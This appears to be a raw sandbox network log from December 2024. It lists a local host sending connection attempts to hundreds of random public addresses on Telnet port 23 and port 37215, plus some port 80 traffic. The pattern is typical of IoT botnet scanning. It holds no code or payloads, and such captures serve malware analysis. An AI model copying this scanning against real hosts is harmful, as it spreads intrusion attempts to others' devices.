Dec 3, 2024 22:16:48.653826952 CET	37963	23	192.168.2.23	171.124.245.53
Dec 3, 2024 22:16:48.653819084 CET	37963	23	192.168.2.23	151.25.201.119
Dec 3, 2024 22:16:48.653820038 CET	37963	23	192.168.2.23	165.175.76.84
Dec 3, 2024 22:16:48.653826952 CET	37963	23	192.168.2.23	102.175.255.21
Dec 3, 2024 22:16:48.653831959 CET	37963	23	192.168.2.23	66.113.42.233
Dec 3, 2024 22:16:48.653822899 CET	37963	23	192.168.2.23	25.210.226.203
Dec 3, 2024 22:16:48.653831959 CET	37963	23	192.168.2.23	122.238.21.4
Dec 3, 2024 22:16:48.653826952 CET	37963	23	192.168.2.23	150.116.57.158
Dec 3, 2024 22:16:48.653819084 CET	37963	23	192.168.2.23	76.2.239.201
Dec 3, 2024 22:16:48.653831959 CET	37963	23	192.168.2.23	181.11.47.43
Dec 3, 2024 22:16:48.653820038 CET	37963	23	192.168.2.23	114.121.25.163
Dec 3, 2024 22:16:48.653822899 CET	37963	23	192.168.2.23	174.60.47.8
Dec 3, 2024 22:16:48.653822899 CET	37963	23	192.168.2.23	157.25.71.115
Dec 3, 2024 22:16:48.653820038 CET	37963	23	192.168.2.23	129.251.14.48
Dec 3, 2024 22:16:48.653822899 CET	37963	23	192.168.2.23	45.168.243.52
Dec 3, 2024 22:16:48.653831959 CET	37963	23	192.168.2.23	89.116.50.43
Dec 3, 2024 22:16:48.653825045 CET	37963	23	192.168.2.23	45.32.18.67
Dec 3, 2024 22:16:48.653822899 CET	37963	23	192.168.2.23	222.226.143.208
Dec 3, 2024 22:16:48.653825045 CET	37963	23	192.168.2.23	2.65.176.176
Dec 3, 2024 22:16:48.653822899 CET	37963	23	192.168.2.23	136.224.7.33
Dec 3, 2024 22:16:48.653825045 CET	37963	23	192.168.2.23	62.86.48.27
Dec 3, 2024 22:16:48.653822899 CET	37963	23	192.168.2.23	123.228.80.96
Dec 3, 2024 22:16:48.653825045 CET	37963	23	192.168.2.23	128.162.95.218
Dec 3, 2024 22:16:48.653824091 CET	37963	23	192.168.2.23	149.60.206.90
Dec 3, 2024 22:16:48.653825045 CET	37963	23	192.168.2.23	145.15.212.23
Dec 3, 2024 22:16:48.653824091 CET	37963	23	192.168.2.23	98.65.53.46
Dec 3, 2024 22:16:48.653831959 CET	37963	23	192.168.2.23	70.125.209.215
Dec 3, 2024 22:16:48.653888941 CET	37963	23	192.168.2.23	148.168.10.104
Dec 3, 2024 22:16:48.653888941 CET	37963	23	192.168.2.23	189.16.134.100
Dec 3, 2024 22:16:48.653888941 CET	37963	23	192.168.2.23	89.43.140.215
Dec 3, 2024 22:16:48.653889894 CET	37963	23	192.168.2.23	31.74.25.200
Dec 3, 2024 22:16:48.653888941 CET	37963	23	192.168.2.23	95.217.223.240
Dec 3, 2024 22:16:48.653891087 CET	37963	23	192.168.2.23	177.147.74.53
Dec 3, 2024 22:16:48.653888941 CET	37963	23	192.168.2.23	67.179.50.219
Dec 3, 2024 22:16:48.653889894 CET	37963	23	192.168.2.23	38.235.132.57
Dec 3, 2024 22:16:48.653891087 CET	37963	23	192.168.2.23	164.117.80.98
Dec 3, 2024 22:16:48.653888941 CET	37963	23	192.168.2.23	62.169.237.107
Dec 3, 2024 22:16:48.653891087 CET	37963	23	192.168.2.23	128.242.154.97
Dec 3, 2024 22:16:48.653896093 CET	37963	23	192.168.2.23	146.255.152.46
Dec 3, 2024 22:16:48.653891087 CET	37963	23	192.168.2.23	19.21.109.160
Dec 3, 2024 22:16:48.653896093 CET	37963	23	192.168.2.23	122.46.224.237
Dec 3, 2024 22:16:48.653891087 CET	37963	23	192.168.2.23	17.150.74.73
Dec 3, 2024 22:16:48.653896093 CET	37963	23	192.168.2.23	38.42.169.167
Dec 3, 2024 22:16:48.653896093 CET	37963	23	192.168.2.23	20.91.224.24
Dec 3, 2024 22:16:48.653896093 CET	37963	23	192.168.2.23	41.125.191.8
Dec 3, 2024 22:16:48.653896093 CET	37963	23	192.168.2.23	171.201.21.135
Dec 3, 2024 22:16:48.653896093 CET	37963	23	192.168.2.23	45.93.115.155
Dec 3, 2024 22:16:48.653896093 CET	37963	23	192.168.2.23	87.223.17.247
Dec 3, 2024 22:16:48.653896093 CET	37963	23	192.168.2.23	75.163.164.8
Dec 3, 2024 22:16:48.653889894 CET	37963	23	192.168.2.23	222.132.50.117
Dec 3, 2024 22:16:48.653898954 CET	37963	23	192.168.2.23	47.80.116.170
Dec 3, 2024 22:16:48.653896093 CET	37963	23	192.168.2.23	118.36.214.117
Dec 3, 2024 22:16:48.653898001 CET	37963	23	192.168.2.23	197.223.58.222
Dec 3, 2024 22:16:48.653888941 CET	37963	23	192.168.2.23	129.84.152.117
Dec 3, 2024 22:16:48.653898954 CET	37963	23	192.168.2.23	182.238.105.151
Dec 3, 2024 22:16:48.653888941 CET	37963	23	192.168.2.23	201.162.59.202
Dec 3, 2024 22:16:48.653889894 CET	37963	23	192.168.2.23	98.110.123.220
Dec 3, 2024 22:16:48.653898954 CET	37963	23	192.168.2.23	34.53.22.191
Dec 3, 2024 22:16:48.653898954 CET	37963	23	192.168.2.23	217.76.106.210
Dec 3, 2024 22:16:48.653898954 CET	37963	23	192.168.2.23	89.80.108.35
Dec 3, 2024 22:16:48.653894901 CET	37963	23	192.168.2.23	150.88.106.214
Dec 3, 2024 22:16:48.653898954 CET	37963	23	192.168.2.23	41.187.94.209
Dec 3, 2024 22:16:48.653894901 CET	37963	23	192.168.2.23	148.83.21.104
Dec 3, 2024 22:16:48.653889894 CET	37963	23	192.168.2.23	19.104.135.183
Dec 3, 2024 22:16:48.653898954 CET	37963	23	192.168.2.23	96.8.208.165
Dec 3, 2024 22:16:48.653894901 CET	37963	23	192.168.2.23	44.129.238.135
Dec 3, 2024 22:16:48.653896093 CET	37963	23	192.168.2.23	77.183.172.26
Dec 3, 2024 22:16:48.653889894 CET	37963	23	192.168.2.23	180.24.243.127
Dec 3, 2024 22:16:48.653894901 CET	37963	23	192.168.2.23	48.136.227.8
Dec 3, 2024 22:16:48.653896093 CET	37963	23	192.168.2.23	34.120.77.211
Dec 3, 2024 22:16:48.653894901 CET	37963	23	192.168.2.23	105.19.37.244
Dec 3, 2024 22:16:48.653889894 CET	37963	23	192.168.2.23	83.250.133.238
Dec 3, 2024 22:16:48.653894901 CET	37963	23	192.168.2.23	137.189.60.251
Dec 3, 2024 22:16:48.653889894 CET	37963	23	192.168.2.23	162.14.252.210
Dec 3, 2024 22:16:48.653894901 CET	37963	23	192.168.2.23	197.198.155.100
Dec 3, 2024 22:16:48.653920889 CET	37963	23	192.168.2.23	199.255.18.60
Dec 3, 2024 22:16:48.653920889 CET	37963	23	192.168.2.23	13.85.247.93
Dec 3, 2024 22:16:48.653920889 CET	37963	23	192.168.2.23	41.46.136.134
Dec 3, 2024 22:16:48.653920889 CET	37963	23	192.168.2.23	179.151.248.64
Dec 3, 2024 22:16:48.653920889 CET	37963	23	192.168.2.23	183.144.204.5
Dec 3, 2024 22:16:48.653928995 CET	37963	23	192.168.2.23	180.113.218.16
Dec 3, 2024 22:16:48.653928995 CET	37963	23	192.168.2.23	210.138.47.239
Dec 3, 2024 22:16:48.653928995 CET	37963	23	192.168.2.23	158.69.18.227
Dec 3, 2024 22:16:48.653929949 CET	37963	23	192.168.2.23	59.28.93.129
Dec 3, 2024 22:16:48.653928995 CET	37963	23	192.168.2.23	57.66.6.21
Dec 3, 2024 22:16:48.653929949 CET	37963	23	192.168.2.23	203.96.43.126
Dec 3, 2024 22:16:48.653929949 CET	37963	23	192.168.2.23	41.62.129.214
Dec 3, 2024 22:16:48.653929949 CET	37963	23	192.168.2.23	58.2.62.176
Dec 3, 2024 22:16:48.653929949 CET	37963	23	192.168.2.23	210.0.32.110
Dec 3, 2024 22:16:48.653929949 CET	37963	23	192.168.2.23	91.167.227.115
Dec 3, 2024 22:16:48.653939009 CET	37963	23	192.168.2.23	72.5.204.109
Dec 3, 2024 22:16:48.653939962 CET	37963	23	192.168.2.23	106.50.40.142
Dec 3, 2024 22:16:48.653939962 CET	37963	23	192.168.2.23	165.50.183.45
Dec 3, 2024 22:16:48.653940916 CET	37963	23	192.168.2.23	184.156.72.63
Dec 3, 2024 22:16:48.653939962 CET	37963	23	192.168.2.23	129.38.14.211
Dec 3, 2024 22:16:48.653940916 CET	37963	23	192.168.2.23	91.106.63.72
Dec 3, 2024 22:16:48.653939962 CET	37963	23	192.168.2.23	105.168.165.17
Dec 3, 2024 22:16:48.653940916 CET	37963	23	192.168.2.23	173.20.7.26
Dec 3, 2024 22:16:48.653944016 CET	37963	23	192.168.2.23	85.231.27.182
Dec 3, 2024 22:16:48.653939962 CET	37963	23	192.168.2.23	69.196.250.230
Dec 3, 2024 22:16:48.653944969 CET	37963	23	192.168.2.23	82.18.47.114
Dec 3, 2024 22:16:48.653945923 CET	37963	23	192.168.2.23	74.33.136.84
Dec 3, 2024 22:16:48.653940916 CET	37963	23	192.168.2.23	218.226.67.246
Dec 3, 2024 22:16:48.653939962 CET	37963	23	192.168.2.23	132.201.128.182
Dec 3, 2024 22:16:48.653944016 CET	37963	23	192.168.2.23	90.46.162.101
Dec 3, 2024 22:16:48.653944969 CET	37963	23	192.168.2.23	169.120.205.42
Dec 3, 2024 22:16:48.653940916 CET	37963	23	192.168.2.23	150.123.227.27
Dec 3, 2024 22:16:48.653944016 CET	37963	23	192.168.2.23	68.110.213.32
Dec 3, 2024 22:16:48.653944969 CET	37963	23	192.168.2.23	194.156.184.123
Dec 3, 2024 22:16:48.653944016 CET	37963	23	192.168.2.23	148.204.97.10
Dec 3, 2024 22:16:48.653945923 CET	37963	23	192.168.2.23	78.74.210.207
Dec 3, 2024 22:16:48.653944969 CET	37963	23	192.168.2.23	130.30.199.71
Dec 3, 2024 22:16:48.653944016 CET	37963	23	192.168.2.23	44.91.32.175
Dec 3, 2024 22:16:48.653940916 CET	37963	23	192.168.2.23	147.133.52.222
Dec 3, 2024 22:16:48.653944969 CET	37963	23	192.168.2.23	135.56.58.180
Dec 3, 2024 22:16:48.653944016 CET	37963	23	192.168.2.23	132.235.174.119
Dec 3, 2024 22:16:48.653945923 CET	37963	23	192.168.2.23	200.219.147.21
Dec 3, 2024 22:16:48.653944969 CET	37963	23	192.168.2.23	137.185.228.29
Dec 3, 2024 22:16:48.653987885 CET	37963	23	192.168.2.23	43.196.106.99
Dec 3, 2024 22:16:48.653987885 CET	37963	23	192.168.2.23	63.55.253.98
Dec 3, 2024 22:16:48.653987885 CET	37963	23	192.168.2.23	107.193.91.43
Dec 3, 2024 22:16:48.653987885 CET	37963	23	192.168.2.23	179.204.10.124
Dec 3, 2024 22:16:48.653987885 CET	37963	23	192.168.2.23	149.176.117.102
Dec 3, 2024 22:16:48.653987885 CET	37963	23	192.168.2.23	155.20.59.199
Dec 3, 2024 22:16:48.653992891 CET	37963	23	192.168.2.23	117.206.93.51
Dec 3, 2024 22:16:48.653992891 CET	37963	23	192.168.2.23	204.124.76.196
Dec 3, 2024 22:16:48.653994083 CET	37963	23	192.168.2.23	31.125.48.128
Dec 3, 2024 22:16:48.653994083 CET	37963	23	192.168.2.23	170.141.114.4
Dec 3, 2024 22:16:48.653994083 CET	37963	23	192.168.2.23	177.131.27.236
Dec 3, 2024 22:16:48.653994083 CET	37963	23	192.168.2.23	112.249.171.164
Dec 3, 2024 22:16:48.653994083 CET	37963	23	192.168.2.23	82.136.69.87
Dec 3, 2024 22:16:48.653995037 CET	37963	23	192.168.2.23	96.58.232.60
Dec 3, 2024 22:16:48.653995037 CET	37963	23	192.168.2.23	77.106.36.55
Dec 3, 2024 22:16:48.653995037 CET	37963	23	192.168.2.23	171.95.102.58
Dec 3, 2024 22:16:48.653997898 CET	37963	23	192.168.2.23	145.119.207.247
Dec 3, 2024 22:16:48.653995037 CET	37963	23	192.168.2.23	53.214.117.30
Dec 3, 2024 22:16:48.653995037 CET	37963	23	192.168.2.23	99.155.65.146
Dec 3, 2024 22:16:48.653995037 CET	37963	23	192.168.2.23	208.97.179.96
Dec 3, 2024 22:16:48.653997898 CET	37963	23	192.168.2.23	114.238.70.169
Dec 3, 2024 22:16:48.653995037 CET	37963	23	192.168.2.23	71.202.183.110
Dec 3, 2024 22:16:48.653997898 CET	37963	23	192.168.2.23	99.53.91.221
Dec 3, 2024 22:16:48.653995037 CET	37963	23	192.168.2.23	4.206.123.127
Dec 3, 2024 22:16:48.653997898 CET	37963	23	192.168.2.23	47.78.222.240
Dec 3, 2024 22:16:48.653995037 CET	37963	23	192.168.2.23	113.35.204.218
Dec 3, 2024 22:16:48.653995037 CET	37963	23	192.168.2.23	101.93.111.60
Dec 3, 2024 22:16:48.653995037 CET	37963	23	192.168.2.23	165.199.208.202
Dec 3, 2024 22:16:48.653995037 CET	37963	23	192.168.2.23	5.70.173.20
Dec 3, 2024 22:16:48.653999090 CET	37963	23	192.168.2.23	2.78.39.227
Dec 3, 2024 22:16:48.653995037 CET	37963	23	192.168.2.23	37.189.163.163
Dec 3, 2024 22:16:48.653999090 CET	37963	23	192.168.2.23	193.242.188.54
Dec 3, 2024 22:16:48.653995037 CET	37963	23	192.168.2.23	137.110.18.118
Dec 3, 2024 22:16:48.653995037 CET	37963	23	192.168.2.23	197.232.70.104
Dec 3, 2024 22:16:48.653995037 CET	37963	23	192.168.2.23	202.70.143.156
Dec 3, 2024 22:16:48.653999090 CET	37963	23	192.168.2.23	180.65.13.159
Dec 3, 2024 22:16:48.653995037 CET	37963	23	192.168.2.23	182.95.137.112
Dec 3, 2024 22:16:48.653995037 CET	37963	23	192.168.2.23	84.189.228.113
Dec 3, 2024 22:16:48.653995037 CET	37963	23	192.168.2.23	191.28.137.225
Dec 3, 2024 22:16:48.653997898 CET	37963	23	192.168.2.23	12.1.114.86
Dec 3, 2024 22:16:48.653995037 CET	37963	23	192.168.2.23	148.66.99.54
Dec 3, 2024 22:16:48.653999090 CET	37963	23	192.168.2.23	36.208.198.205
Dec 3, 2024 22:16:48.653997898 CET	37963	23	192.168.2.23	218.145.140.34
Dec 3, 2024 22:16:48.653999090 CET	37963	23	192.168.2.23	51.234.133.221
Dec 3, 2024 22:16:48.653999090 CET	37963	23	192.168.2.23	46.75.48.177
Dec 3, 2024 22:16:48.653999090 CET	37963	23	192.168.2.23	37.151.107.243
Dec 3, 2024 22:16:48.653999090 CET	37963	23	192.168.2.23	150.112.186.94
Dec 3, 2024 22:16:48.654025078 CET	37963	23	192.168.2.23	19.91.113.69
Dec 3, 2024 22:16:48.654025078 CET	37963	23	192.168.2.23	61.67.81.223
Dec 3, 2024 22:16:48.654025078 CET	37963	23	192.168.2.23	187.169.207.47
Dec 3, 2024 22:16:48.654025078 CET	37963	23	192.168.2.23	164.93.145.244
Dec 3, 2024 22:16:48.654025078 CET	37963	23	192.168.2.23	129.113.192.172
Dec 3, 2024 22:16:48.654045105 CET	37963	23	192.168.2.23	41.210.228.156
Dec 3, 2024 22:16:48.654045105 CET	37963	23	192.168.2.23	203.113.97.243
Dec 3, 2024 22:16:48.654045105 CET	37963	23	192.168.2.23	187.57.132.235
Dec 3, 2024 22:16:48.654045105 CET	37963	23	192.168.2.23	88.195.111.4
Dec 3, 2024 22:16:48.654045105 CET	37963	23	192.168.2.23	2.194.229.44
Dec 3, 2024 22:16:48.654046059 CET	37963	23	192.168.2.23	64.229.52.44
Dec 3, 2024 22:16:48.654050112 CET	37963	23	192.168.2.23	41.28.150.237
Dec 3, 2024 22:16:48.654050112 CET	37963	23	192.168.2.23	42.191.255.159
Dec 3, 2024 22:16:48.654050112 CET	37963	23	192.168.2.23	188.97.32.232
Dec 3, 2024 22:16:48.654050112 CET	37963	23	192.168.2.23	44.29.143.186
Dec 3, 2024 22:16:48.654050112 CET	37963	23	192.168.2.23	36.8.131.28
Dec 3, 2024 22:16:48.654051065 CET	37963	23	192.168.2.23	53.223.148.33
Dec 3, 2024 22:16:48.654053926 CET	37963	23	192.168.2.23	219.46.49.15
Dec 3, 2024 22:16:48.654053926 CET	37963	23	192.168.2.23	213.176.106.75
Dec 3, 2024 22:16:48.654053926 CET	37963	23	192.168.2.23	129.95.102.150
Dec 3, 2024 22:16:48.654053926 CET	37963	23	192.168.2.23	210.249.116.224
Dec 3, 2024 22:16:48.654053926 CET	37963	23	192.168.2.23	144.16.61.72
Dec 3, 2024 22:16:48.654053926 CET	37963	23	192.168.2.23	113.57.188.123
Dec 3, 2024 22:16:48.654053926 CET	37963	23	192.168.2.23	19.98.85.173
Dec 3, 2024 22:16:48.654056072 CET	37963	23	192.168.2.23	71.176.124.50
Dec 3, 2024 22:16:48.654056072 CET	37963	23	192.168.2.23	1.84.137.55
Dec 3, 2024 22:16:48.654057026 CET	37963	23	192.168.2.23	47.154.229.88
Dec 3, 2024 22:16:48.654056072 CET	37963	23	192.168.2.23	204.209.196.229
Dec 3, 2024 22:16:48.654057026 CET	37963	23	192.168.2.23	70.198.31.190
Dec 3, 2024 22:16:48.654056072 CET	37963	23	192.168.2.23	5.250.240.247
Dec 3, 2024 22:16:48.654056072 CET	37963	23	192.168.2.23	113.61.177.50
Dec 3, 2024 22:16:48.654058933 CET	37963	23	192.168.2.23	107.236.11.143
Dec 3, 2024 22:16:48.654056072 CET	37963	23	192.168.2.23	73.221.135.8
Dec 3, 2024 22:16:48.654056072 CET	37963	23	192.168.2.23	115.122.226.75
Dec 3, 2024 22:16:48.654058933 CET	37963	23	192.168.2.23	68.126.69.120
Dec 3, 2024 22:16:48.654056072 CET	37963	23	192.168.2.23	194.16.66.30
Dec 3, 2024 22:16:48.654056072 CET	37963	23	192.168.2.23	145.101.160.88
Dec 3, 2024 22:16:48.654058933 CET	37963	23	192.168.2.23	114.38.238.21
Dec 3, 2024 22:16:48.654056072 CET	37963	23	192.168.2.23	173.93.160.242
Dec 3, 2024 22:16:48.654058933 CET	37963	23	192.168.2.23	172.106.16.96
Dec 3, 2024 22:16:48.654056072 CET	37963	23	192.168.2.23	80.114.222.89
Dec 3, 2024 22:16:48.654058933 CET	37963	23	192.168.2.23	200.23.200.137
Dec 3, 2024 22:16:48.654056072 CET	37963	23	192.168.2.23	211.51.2.37
Dec 3, 2024 22:16:48.654058933 CET	37963	23	192.168.2.23	156.67.143.156
Dec 3, 2024 22:16:48.654056072 CET	37963	23	192.168.2.23	100.165.140.80
Dec 3, 2024 22:16:48.654056072 CET	37963	23	192.168.2.23	116.62.205.226
Dec 3, 2024 22:16:48.654081106 CET	37963	23	192.168.2.23	174.174.189.196
Dec 3, 2024 22:16:48.654081106 CET	37963	23	192.168.2.23	147.233.217.98
Dec 3, 2024 22:16:48.654081106 CET	37963	23	192.168.2.23	144.183.11.49
Dec 3, 2024 22:16:48.654086113 CET	37963	23	192.168.2.23	102.139.118.22
Dec 3, 2024 22:16:48.654086113 CET	37963	23	192.168.2.23	185.83.141.237
Dec 3, 2024 22:16:48.654099941 CET	37963	23	192.168.2.23	168.182.209.2
Dec 3, 2024 22:16:48.654099941 CET	37963	23	192.168.2.23	90.253.9.46
Dec 3, 2024 22:16:48.654099941 CET	37963	23	192.168.2.23	179.150.123.189
Dec 3, 2024 22:16:48.654099941 CET	37963	23	192.168.2.23	197.196.170.56
Dec 3, 2024 22:16:48.654099941 CET	37963	23	192.168.2.23	24.244.50.11
Dec 3, 2024 22:16:48.654103994 CET	37963	23	192.168.2.23	166.2.228.125
Dec 3, 2024 22:16:48.654103994 CET	37963	23	192.168.2.23	223.227.240.205
Dec 3, 2024 22:16:48.654103994 CET	37963	23	192.168.2.23	85.232.135.10
Dec 3, 2024 22:16:48.654103994 CET	37963	23	192.168.2.23	163.2.87.156
Dec 3, 2024 22:16:48.654103994 CET	37963	23	192.168.2.23	65.106.198.126
Dec 3, 2024 22:16:48.654104948 CET	37963	23	192.168.2.23	152.33.210.19
Dec 3, 2024 22:16:48.654105902 CET	37963	23	192.168.2.23	219.54.121.94
Dec 3, 2024 22:16:48.654104948 CET	37963	23	192.168.2.23	12.134.197.91
Dec 3, 2024 22:16:48.654105902 CET	37963	23	192.168.2.23	121.176.42.54
Dec 3, 2024 22:16:48.654107094 CET	37963	23	192.168.2.23	176.7.176.75
Dec 3, 2024 22:16:48.654105902 CET	37963	23	192.168.2.23	27.118.124.22
Dec 3, 2024 22:16:48.654107094 CET	37963	23	192.168.2.23	194.239.150.253
Dec 3, 2024 22:16:48.654105902 CET	37963	23	192.168.2.23	50.193.156.43
Dec 3, 2024 22:16:48.654107094 CET	37963	23	192.168.2.23	12.20.57.45
Dec 3, 2024 22:16:48.654104948 CET	37963	23	192.168.2.23	122.8.0.18
Dec 3, 2024 22:16:48.654107094 CET	37963	23	192.168.2.23	131.102.154.43
Dec 3, 2024 22:16:48.654114962 CET	37963	23	192.168.2.23	34.223.36.193
Dec 3, 2024 22:16:48.654107094 CET	37963	23	192.168.2.23	112.101.185.128
Dec 3, 2024 22:16:48.654105902 CET	37963	23	192.168.2.23	114.197.100.150
Dec 3, 2024 22:16:48.654109001 CET	37963	23	192.168.2.23	154.41.208.89
Dec 3, 2024 22:16:48.654107094 CET	37963	23	192.168.2.23	4.5.105.74
Dec 3, 2024 22:16:48.654104948 CET	37963	23	192.168.2.23	40.100.94.16
Dec 3, 2024 22:16:48.654109001 CET	37963	23	192.168.2.23	125.134.68.99
Dec 3, 2024 22:16:48.654107094 CET	37963	23	192.168.2.23	64.172.90.171
Dec 3, 2024 22:16:48.654109001 CET	37963	23	192.168.2.23	116.97.88.215
Dec 3, 2024 22:16:48.654107094 CET	37963	23	192.168.2.23	9.203.9.104
Dec 3, 2024 22:16:48.654104948 CET	37963	23	192.168.2.23	220.14.172.166
Dec 3, 2024 22:16:48.654107094 CET	37963	23	192.168.2.23	152.101.244.104
Dec 3, 2024 22:16:48.654104948 CET	37963	23	192.168.2.23	221.226.56.104
Dec 3, 2024 22:16:48.654107094 CET	37963	23	192.168.2.23	162.206.166.167
Dec 3, 2024 22:16:48.654104948 CET	37963	23	192.168.2.23	137.174.92.255
Dec 3, 2024 22:16:48.654105902 CET	37963	23	192.168.2.23	97.118.55.116
Dec 3, 2024 22:16:48.654107094 CET	37963	23	192.168.2.23	45.72.241.196
Dec 3, 2024 22:16:48.654107094 CET	37963	23	192.168.2.23	69.37.225.27
Dec 3, 2024 22:16:48.654107094 CET	37963	23	192.168.2.23	208.105.66.137
Dec 3, 2024 22:16:48.654133081 CET	37963	23	192.168.2.23	166.25.41.104
Dec 3, 2024 22:16:48.654133081 CET	37963	23	192.168.2.23	91.41.52.6
Dec 3, 2024 22:16:48.654133081 CET	37963	23	192.168.2.23	48.252.201.99
Dec 3, 2024 22:16:48.654133081 CET	37963	23	192.168.2.23	133.101.149.116
Dec 3, 2024 22:16:48.654133081 CET	37963	23	192.168.2.23	57.129.43.53
Dec 3, 2024 22:16:48.654134035 CET	37963	23	192.168.2.23	154.246.108.151
Dec 3, 2024 22:16:48.654134035 CET	37963	23	192.168.2.23	115.64.221.31
Dec 3, 2024 22:16:48.654134035 CET	37963	23	192.168.2.23	59.81.217.128
Dec 3, 2024 22:16:48.654134035 CET	37963	23	192.168.2.23	178.185.108.211
Dec 3, 2024 22:16:48.654144049 CET	37963	23	192.168.2.23	121.255.60.8
Dec 3, 2024 22:16:48.654144049 CET	37963	23	192.168.2.23	146.41.127.40
Dec 3, 2024 22:16:48.654144049 CET	37963	23	192.168.2.23	195.228.231.42
Dec 3, 2024 22:16:48.654148102 CET	37963	23	192.168.2.23	188.114.131.212
Dec 3, 2024 22:16:48.654149055 CET	37963	23	192.168.2.23	65.99.107.98
Dec 3, 2024 22:16:48.654149055 CET	37963	23	192.168.2.23	32.225.99.107
Dec 3, 2024 22:16:48.654149055 CET	37963	23	192.168.2.23	107.135.167.33
Dec 3, 2024 22:16:48.654149055 CET	37963	23	192.168.2.23	76.116.96.125
Dec 3, 2024 22:16:48.654149055 CET	37963	23	192.168.2.23	46.45.6.29
Dec 3, 2024 22:16:48.654149055 CET	37963	23	192.168.2.23	155.239.251.22
Dec 3, 2024 22:16:48.654150963 CET	37963	23	192.168.2.23	99.22.188.236
Dec 3, 2024 22:16:48.654150963 CET	37963	23	192.168.2.23	118.80.53.153
Dec 3, 2024 22:16:48.654150963 CET	37963	23	192.168.2.23	163.37.72.95
Dec 3, 2024 22:16:48.654150963 CET	37963	23	192.168.2.23	128.13.165.223
Dec 3, 2024 22:16:48.654151917 CET	37963	23	192.168.2.23	183.223.38.254
Dec 3, 2024 22:16:48.654153109 CET	37963	23	192.168.2.23	92.56.22.173
Dec 3, 2024 22:16:48.654151917 CET	37963	23	192.168.2.23	178.49.48.212
Dec 3, 2024 22:16:48.654153109 CET	37963	23	192.168.2.23	164.108.236.30
Dec 3, 2024 22:16:48.654151917 CET	37963	23	192.168.2.23	156.139.140.126
Dec 3, 2024 22:16:48.654153109 CET	37963	23	192.168.2.23	153.164.42.177
Dec 3, 2024 22:16:48.654151917 CET	37963	23	192.168.2.23	173.202.124.79
Dec 3, 2024 22:16:48.695487976 CET	80	50084	141.23.106.58	192.168.2.23
Dec 3, 2024 22:16:48.695499897 CET	80	34554	44.97.239.58	192.168.2.23
Dec 3, 2024 22:16:48.720458984 CET	80	54802	69.105.106.1	192.168.2.23
Dec 3, 2024 22:16:48.720468998 CET	80	44002	93.134.211.187	192.168.2.23
Dec 3, 2024 22:16:48.728666067 CET	80	36578	53.119.123.13	192.168.2.23
Dec 3, 2024 22:16:48.729103088 CET	80	36748	53.119.123.13	192.168.2.23
Dec 3, 2024 22:16:48.729182959 CET	36748	80	192.168.2.23	53.119.123.13
Dec 3, 2024 22:16:48.729257107 CET	36748	80	192.168.2.23	53.119.123.13
Dec 3, 2024 22:16:48.729464054 CET	80	57904	23.13.227.180	192.168.2.23
Dec 3, 2024 22:16:48.729716063 CET	80	58074	23.13.227.180	192.168.2.23
Dec 3, 2024 22:16:48.729772091 CET	58074	80	192.168.2.23	23.13.227.180
Dec 3, 2024 22:16:48.729816914 CET	58074	80	192.168.2.23	23.13.227.180
Dec 3, 2024 22:16:48.729998112 CET	80	41946	108.128.143.21	192.168.2.23
Dec 3, 2024 22:16:48.730189085 CET	80	42116	108.128.143.21	192.168.2.23
Dec 3, 2024 22:16:48.730232954 CET	42116	80	192.168.2.23	108.128.143.21
Dec 3, 2024 22:16:48.730254889 CET	42116	80	192.168.2.23	108.128.143.21
Dec 3, 2024 22:16:48.730561018 CET	80	38168	136.30.197.42	192.168.2.23
Dec 3, 2024 22:16:48.730885029 CET	80	38338	136.30.197.42	192.168.2.23
Dec 3, 2024 22:16:48.730927944 CET	38338	80	192.168.2.23	136.30.197.42
Dec 3, 2024 22:16:48.730945110 CET	38338	80	192.168.2.23	136.30.197.42
Dec 3, 2024 22:16:48.731785059 CET	80	53804	46.29.80.182	192.168.2.23
Dec 3, 2024 22:16:48.731890917 CET	80	53974	46.29.80.182	192.168.2.23
Dec 3, 2024 22:16:48.731933117 CET	53974	80	192.168.2.23	46.29.80.182
Dec 3, 2024 22:16:48.731944084 CET	80	51332	5.50.172.102	192.168.2.23
Dec 3, 2024 22:16:48.731955051 CET	53974	80	192.168.2.23	46.29.80.182
Dec 3, 2024 22:16:48.731985092 CET	80	51502	5.50.172.102	192.168.2.23
Dec 3, 2024 22:16:48.732021093 CET	51502	80	192.168.2.23	5.50.172.102
Dec 3, 2024 22:16:48.732039928 CET	51502	80	192.168.2.23	5.50.172.102
Dec 3, 2024 22:16:48.732332945 CET	80	35632	217.15.168.25	192.168.2.23
Dec 3, 2024 22:16:48.732542038 CET	80	35802	217.15.168.25	192.168.2.23
Dec 3, 2024 22:16:48.732588053 CET	35802	80	192.168.2.23	217.15.168.25
Dec 3, 2024 22:16:48.732614994 CET	35802	80	192.168.2.23	217.15.168.25
Dec 3, 2024 22:16:48.732975006 CET	80	56994	106.125.175.246	192.168.2.23
Dec 3, 2024 22:16:48.733186960 CET	80	57164	106.125.175.246	192.168.2.23
Dec 3, 2024 22:16:48.733232975 CET	57164	80	192.168.2.23	106.125.175.246
Dec 3, 2024 22:16:48.733263016 CET	57164	80	192.168.2.23	106.125.175.246
Dec 3, 2024 22:16:48.733489990 CET	80	58950	213.10.8.153	192.168.2.23
Dec 3, 2024 22:16:48.739305019 CET	80	49430	142.163.169.148	192.168.2.23
Dec 3, 2024 22:16:48.739576101 CET	80	49576	142.163.169.148	192.168.2.23
Dec 3, 2024 22:16:48.739619017 CET	49576	80	192.168.2.23	142.163.169.148
Dec 3, 2024 22:16:48.739631891 CET	49576	80	192.168.2.23	142.163.169.148
Dec 3, 2024 22:16:48.743495941 CET	37451	37215	192.168.2.23	41.7.124.25
Dec 3, 2024 22:16:48.743505001 CET	37451	37215	192.168.2.23	197.193.108.120
Dec 3, 2024 22:16:48.743505001 CET	37451	37215	192.168.2.23	197.166.40.133
Dec 3, 2024 22:16:48.743511915 CET	37451	37215	192.168.2.23	197.26.74.237
Dec 3, 2024 22:16:48.743518114 CET	37451	37215	192.168.2.23	41.30.218.207
Dec 3, 2024 22:16:48.743525982 CET	37451	37215	192.168.2.23	41.164.221.141
Dec 3, 2024 22:16:48.743525982 CET	37451	37215	192.168.2.23	41.57.3.15
Dec 3, 2024 22:16:48.743525982 CET	37451	37215	192.168.2.23	41.112.140.205
Dec 3, 2024 22:16:48.743530989 CET	37451	37215	192.168.2.23	197.132.62.119
Dec 3, 2024 22:16:48.743530989 CET	37451	37215	192.168.2.23	156.170.127.69
Dec 3, 2024 22:16:48.743531942 CET	37451	37215	192.168.2.23	156.81.76.10
Dec 3, 2024 22:16:48.743531942 CET	37451	37215	192.168.2.23	156.126.99.239
Dec 3, 2024 22:16:48.743534088 CET	37451	37215	192.168.2.23	41.190.250.172
